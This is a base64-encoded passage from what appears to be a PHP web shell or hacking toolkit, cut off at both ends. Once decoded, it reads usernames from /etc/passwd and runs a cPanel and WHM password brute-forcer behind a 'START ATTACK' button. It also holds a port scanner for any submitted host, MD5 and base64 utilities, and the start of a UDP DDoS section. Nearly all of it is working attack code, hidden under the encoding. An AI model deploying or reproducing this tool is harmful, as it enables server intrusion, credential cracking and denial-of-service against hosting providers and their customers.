2VybmFtZXMgPjw/cGhwICR1c2Vycz1maWxlKCIvZXRjL3Bhc3N3ZCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3RyPWV4cGxvZGUoIjoiLCR1c2VyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJHN0clswXS4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICA/PjwvdGV4dGFyZWE+PHRleHRhcmVhIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOndoaXRlIiByb3dzPTIwIGNvbHM9MjUgbmFtZT1wYXNzd29yZHMgPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCg0KICAgICAgICAgICAgICAgICAgICAgICAgJGQ9Z2V0Y3dkKCkuIi9yLnR4dCI7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGY9ZmlsZSgkZCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRwZiBhcyAkcnQpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3RyPWV4cGxvZGUoJ1xuJywkcnQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cmltKCRzdHJbMF0pLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9ID8+PC90ZXh0YXJlYT48cD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWNwYW5lbGNyYWNraW5nIGNsYXNzPWJ1dHRvbi0zIHZhbHVlPSJTVEFSVCBBVFRBQ0sgOikiPjwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvcD4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3JfcmVwb3J0aW5nKDApOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbm5lY3RfdGltZW91dD01Ow0KICAgICAgICAgICAgICAgICAgICAgICAgc2V0X3RpbWVfbGltaXQoMCk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICR1c2VybD0kX1BPU1RbJ3VzZXJuYW1lcyddOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhc3NsPSRfUE9TVFsncGFzc3dvcmRzJ107DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0YWNrPSRfUE9TVFsnb3AnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0YXJnZXQgPSAibG9jYWxob3N0IjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydjcGFuZWxjcmFja2luZyddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR1c2VybCE9PSIiICYmICRwYXNzbCE9PSIiKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWyJvcCJdPT0iY3AiKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGNyYWNrZWQ9JF9QT1NUWydjcmFjayddOw0KICAgICAgICAgICAgICAgICAgICAgICAgQGZvcGVuKCRjcmFja2VkLCdhJyk7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8cD4uLi4uLi5ub3cgd2UgYXJlIGF0dGFja2luZyBjcGFuZWxzLi4uLnBsZWFzZSB3YWl0IHRpbGwgdGhlIGVuZCBvZiBwcm9jZXNzIFxuIDwvcD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIjsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoJF9QT1NUWyJvcCJdPT0id2htIikNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIEBmb3BlbigkY3JhY2tlZCwnYScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHA+Li4ubm93IHdlIGFyZSBhdHRhY2tpbmcgV0hNIHBhbmVsLi4uLnBsZWFzZSB3YWl0IHRpbGwgdGhlIGVuZCBvZiBwcm9jZXNzPC9wPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIiOw0KDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGNwYW5lbCgkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJodHRwOi8vJGhvc3Q6MjA4MiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQkFTSUMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkdXNlcjokcGFzcyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkYXRhID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAwICl7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSA+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yPj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT08L2ZvbnQ+PGZvbnQgY29sb3I9cmVkIHNpemU9Mj4gJHVzZXIgPC9mb250Pjxmb250IGNvbG9yPXdoaXRlIHNpemU9Mj5DcmFja2VkIHdpdGggPC9mb250Pjxmb250IGNvbG9yPXJlZCBzaXplPTI+ICRwYXNzIDwvZm9udD4gPGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yPj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT08L2ZvbnQ+PC9iPjwvdGQ+PC90cj48L3RhYmxlPiI7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7fQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkdXNlcmxpc3Q9ZXhwbG9kZSgiXG4iLCR1c2VybCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFzc2xpc3Q9ZXhwbG9kZSgiXG4iLCRwYXNzbCk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYXR0YWNrID09ICJjcCIpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdXNlcmxpc3QgYXMgJHVzZXIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjx0YWJsZSB3aWR0aD04MCUgPjx0cj48dGQgYWxpZ249Y2VudGVyPjxiPjxmb250IGNvbG9yPXJlZCBzaXplPTI+QXR0YWNraW5nIHVzZXIgJHVzZXIgPC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAkZmluYWx1c2VyID0gdHJpbSgkdXNlcik7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkcGFzc2xpc3QgYXMgJHBhc3N3b3JkICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGZpbmFscGFzcyA9IHRyaW0oJHBhc3N3b3JkKTsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICBjcGFuZWwoJHRhcmdldCwkZmluYWx1c2VyLCRmaW5hbHBhc3MsJGNvbm5lY3RfdGltZW91dCk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiB3aG0oJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpew0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cDovLyRob3N0OjIwODYiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsICR0aW1lb3V0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7DQogICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgPjx0cj48dGQgYWxpZ249Y2VudGVyPjxiPjxmb250IGNvbG9yPXdoaXRlIHNpemU9Mj49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PC9mb250Pjxmb250IGNvbG9yPXJlZCBzaXplPTI+ICR1c2VyIDwvZm9udD48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTI+Q3JhY2tlZCB3aXRoIDwvZm9udD48Zm9udCBjb2xvcj1yZWQgc2l6ZT0yPiAkcGFzcyA8L2ZvbnQ+IDxmb250IGNvbG9yPXdoaXRlIHNpemU9Mj49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PC9mb250PjwvYj48L3RkPjwvdHI+PC90YWJsZT4iOw0KDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTt9DQogICAgICAgICAgICAgICAgICAgICAgICAkdXNlcmxpc3Q9ZXhwbG9kZSgiXG4iLCR1c2VybCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFzc2xpc3Q9ZXhwbG9kZSgiXG4iLCRwYXNzbCk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYXR0YWNrID09ICJ3aG0iKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9ODAlID48dHI+PHRkIGFsaWduPWNlbnRlcj48Yj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTI+dXNlciB1bmRlciBhdHRhY2sgaXMgJHVzZXIgPC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAkZmluYWx1c2VyID0gdHJpbSgkdXNlcik7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkcGFzc2xpc3QgYXMgJHBhc3N3b3JkICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGZpbmFscGFzcyA9IHRyaW0oJHBhc3N3b3JkKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgd2htKCR0YXJnZXQsJGZpbmFsdXNlciwkZmluYWxwYXNzLCRjb25uZWN0X3RpbWVvdXQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKCR1c2VybD09IiIpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8cD5sb2wsIHlvdSBoYXZlIGxlZnQgdXNlcmxpc3QgZmllbGQgZW1wdHk8L3A+IjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKCRwYXNzbD09IiIpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxwPnBsZWFzZSBwdXQgcGFzc3dvcmRzIGluIHBhYXN3b3JkIGxpc3QgZmllbGQ8L3A+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L2NlbnRlcj4nDQogICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfR0VUWydwb3J0X3NjYW5uZXInXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGZvbnQgY29sb3I9ImxpZ2h0Z3JlZW4iIHNpemU9IjUiIGZhY2U9ImN1cnNpdmUiPlBvcnQgU2Nhbm5lcjwvZm9udD48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWw+RG9tYWluL0lQOiA8L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkb21haW4iIHBsYWNlaG9sZGVyPSJEb21haW4vSVAuLi4iLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2NhbiIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiciAvPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnZG9tYWluJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9saXN0IG9mIHBvcnQgbnVtYmVycyB0byBzY2FuDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBvcnRzID0gYXJyYXkoMjAsIDIxLCAyMywgMjIsIDI1LCA1MCwgNTEsIDUzLCA1NywgNjcsIDY4LCA2OSwgODAsIDgxLCAxMTAsIDEyMywgMTM1LCAxMzksIDE0MywgMTQ1LCAxNjEsIDE2MiwgMzg5LCA5ODksIDk5MCwgNDQzLCA1ODcsIDE0MzMsIDgwODAsIDgwODEsIDI1MjUsIDMzMzgsIDMzMDYsIDE1OSwgNjU1MzUpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJHBvcnRzIGFzICRwb3J0KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRwZiA9IEBmc29ja29wZW4oJF9QT1NUWydkb21haW4nXSwgJHBvcnQsICRlcnIsICRlcnJfc3RyaW5nLCAxKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbJHBvcnRdID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbJHBvcnRdID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRyZXN1bHRzIGFzICRwb3J0PT4kdmFsKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwcm90ID0gZ2V0c2VydmJ5cG9ydCgkcG9ydCwidGNwIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4gaWQ9XCJwb3J0XCI+UG9ydCAkcG9ydCAoJHByb3QpOiA8L3NwYW4+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHZhbCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4gc3R5bGU9XCJjb2xvcjpsaWdodGdyZWVuXCI+T3Blbjwvc3Bhbj48YnIvPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8c3BhbiBzdHlsZT1cImNvbG9yOnJlZFwiPkluYWNjZXNzaWJsZTwvc3Bhbj48YnIvPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfR0VUWydnZW5lcmF0ZV9tZDVoYXNoJ10pKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48YnI+PGZvbnQgY29sb3I9ImxpZ2h0Z3JlZW4iIHNpemU9IjUiIGZhY2U9ImN1cnNpdmUiPkdlbmVyYXRlIE1ENSBIYXNoPC9mb250Pjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9Im1kNS10ZXh0IiB0eXBlPSJ0ZXh0IiBzaXplPSIiIHBsYWNlaG9sZGVyPSJFbnRlciBTdHJpbmcuLi4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJtZDVfc3RyaW5nIiB2YWx1ZT0iR2VuZXJhdGUgTUQ1IEhhc2giPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ21kNV9zdHJpbmcnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJG1kNWVkID0gJF9QT1NUWydtZDUtdGV4dCddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAkbWQ1X2NvbnRlbnQgPSBtZDUoJG1kNWVkKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkbWQ1ZWQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgcm93cz0iMTAiIGNvbHM9IjUwIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxwPk1ENSB3YXNudCBnZW5lcmF0ZWQhITwvcD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgcm93cz0iMTAiIGNvbHM9IjUwIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gKCIkbWQ1X2NvbnRlbnQiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RleHRhcmVhPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9jZW50ZXI+DQogICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgfSA/Pg0KICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ2RlY29kZXInXSkpDQogICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGJyPjxicj48Zm9udCBjb2xvcj0ieWVsbG93IiBmYWNlPSJjdXJzaXZlIiBzaXplPSI1Ij5CYXNlNjQgRW5jb2RlcjwvZm9udD48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJ3aGl0ZSIgZmFjZT0iY3Vyc2l2ZSIgc2l6ZT0iIj5FbnRlciB0ZXh0IHRvIGVuY29kZTogPC9mb250Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYmFzZTY0X2VuY29kZSIgc2l6ZT0iIiBwbGFjZWhvbGRlcj0iVGV4dCB0byBlbmNvZGUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdGJhc2U2NCIgdmFsdWU9IkVuY29kZSIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3N1Ym1pdGJhc2U2NCddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkkdGV4dCA9ICRfUE9TVFsnYmFzZTY0X2VuY29kZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkkY29udGVudCA9IGJhc2U2NF9lbmNvZGUoJHRleHQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAlpZiAoISRjb250ZW50KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQllY2hvICc8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCWVjaG8gJ1RleHQgd2FzbnQgZW5jb2RlZCc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZXh0YXJlYSByb3dzPSIxMCIgY29scz0iNTAiPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQllY2hvICgiJGNvbnRlbnQiKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RleHRhcmVhPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJZWNobyAiPGJyPiI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPC9jZW50ZXI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGJyPjxmb250IGNvbG9yPSJ5ZWxsb3ciIGZhY2U9ImN1cnNpdmUiIHNpemU9IjUiPkJhc2U2NCBEZWNvZGVyPC9mb250Pjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiIGZhY2U9ImN1cnNpdmUiIHNpemU9IiI+RW50ZXIgdGV4dCB0byBkZWNvZGU6IDwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJiYXNlNjRfZGVjb2RlIiBzaXplPSIiIHBsYWNlaG9sZGVyPSJUZXh0IHRvIGRlY29kZSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRiYXNlNjRkZWNvZGUiIHZhbHVlPSJEZWNvZGUiIC8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzdWJtaXRiYXNlNjRkZWNvZGUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkkbWFpbl90ZXh0ID0gJF9QT1NUWydiYXNlNjRfZGVjb2RlJ107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJJHRvX2RlY29kZSA9IGJhc2U2NF9kZWNvZGUoJG1haW5fdGV4dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJaWYgKCEkdG9fZGVjb2RlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCWVjaG8gIjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCQllY2hvICc8cD4gVGV4dCB3YXNudCBkZWNvZGVkIDwvcD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAllbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgcm93cz0iMTAiIGNvbHM9IjMwIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCQllY2hvICgiJHRvX2RlY29kZSIpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90ZXh0YXJlYT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9jZW50ZXI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ1VEUF9ERE9T